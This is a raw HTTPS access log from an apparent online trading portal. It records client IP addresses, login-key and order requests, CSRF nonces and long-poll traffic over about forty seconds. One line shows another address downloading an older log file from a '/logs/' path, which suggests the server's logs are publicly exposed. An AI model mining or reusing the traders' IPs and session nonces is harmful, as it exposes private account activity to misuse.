[09/Jan/2026:09:43:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:43:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923275338 HTTP/1.1" -
[09/Jan/2026:09:43:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923278715 HTTP/1.1" -
[09/Jan/2026:09:43:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923291357 HTTP/1.1" -
[09/Jan/2026:09:43:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:43:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:43:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:43:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1212
[09/Jan/2026:09:43:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923278974 HTTP/1.1" -
[09/Jan/2026:09:43:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923279168 HTTP/1.1" -
[09/Jan/2026:09:43:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:09:43:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:43:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=31729E08E77FFA42E4576980D441CA58 HTTP/1.1" 1013
[09/Jan/2026:09:43:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/buy_ticket.html? HTTP/1.1" 1996
[09/Jan/2026:09:43:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923283866 HTTP/1.1" -
[09/Jan/2026:09:43:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923281302 HTTP/1.1" -
[09/Jan/2026:09:43:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923296381 HTTP/1.1" -
[09/Jan/2026:09:43:33 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:43:33 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:33 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1153
[09/Jan/2026:09:43:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 301
[09/Jan/2026:09:43:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 301
[09/Jan/2026:09:43:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 301
[09/Jan/2026:09:43:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923284015 HTTP/1.1" -
[09/Jan/2026:09:43:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923284213 HTTP/1.1" -
[09/Jan/2026:09:43:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:43:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923288900 HTTP/1.1" -
[09/Jan/2026:09:43:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923301445 HTTP/1.1" -
[09/Jan/2026:09:43:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_888888_256x240.png HTTP/1.1" 6999
[09/Jan/2026:09:43:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923287292 HTTP/1.1" -
[09/Jan/2026:09:43:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:09:43:40 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923289057 HTTP/1.1" -
[09/Jan/2026:09:43:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923289267 HTTP/1.1" -
[09/Jan/2026:09:43:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923294035 HTTP/1.1" -
[09/Jan/2026:09:43:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:43:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923306475 HTTP/1.1" -
[09/Jan/2026:09:43:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:43 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923292320 HTTP/1.1" -
[09/Jan/2026:09:43:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923294310 HTTP/1.1" -
[09/Jan/2026:09:43:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923294095 HTTP/1.1" -
[09/Jan/2026:09:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923299190 HTTP/1.1" -
[09/Jan/2026:09:43:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:43:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1225
[09/Jan/2026:09:43:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:43:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923311536 HTTP/1.1" -
[09/Jan/2026:09:43:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923298300 HTTP/1.1" -
[09/Jan/2026:09:43:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:09:43:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:43:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=0A47465243EEFA9D61E5C2BC8C7EBCD9 HTTP/1.1" 1014
[09/Jan/2026:09:43:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/buy_ticket.html? HTTP/1.1" 1996
[09/Jan/2026:09:43:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923299333 HTTP/1.1" -
[09/Jan/2026:09:43:46 +0800] 47.128.26.25 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20241031 HTTP/1.1" 10209733
[09/Jan/2026:09:43:50 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923299671 HTTP/1.1" -
[09/Jan/2026:09:43:51 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:43:51 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:43:51 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1245
[09/Jan/2026:09:43:52 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:52 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 301
[09/Jan/2026:09:43:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923304379 HTTP/1.1" -
[09/Jan/2026:09:43:52 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:52 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 301
[09/Jan/2026:09:43:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923316573 HTTP/1.1" -
[09/Jan/2026:09:43:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 301
[09/Jan/2026:09:43:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923304373 HTTP/1.1" -
[09/Jan/2026:09:43:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923304291 HTTP/1.1" -
[09/Jan/2026:09:43:55 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923304708 HTTP/1.1" -
[09/Jan/2026:09:43:56 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:56 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:09:43:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:43:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923309504 HTTP/1.1" -
[09/Jan/2026:09:43:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923321602 HTTP/1.1" -
[09/Jan/2026:09:43:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:43:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:44:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923309401 HTTP/1.1" -
[09/Jan/2026:09:44:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923309740 HTTP/1.1" -
[09/Jan/2026:09:44:01 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923310296 HTTP/1.1" -
[09/Jan/2026:09:44:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923314628 HTTP/1.1" -
[09/Jan/2026:09:44:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
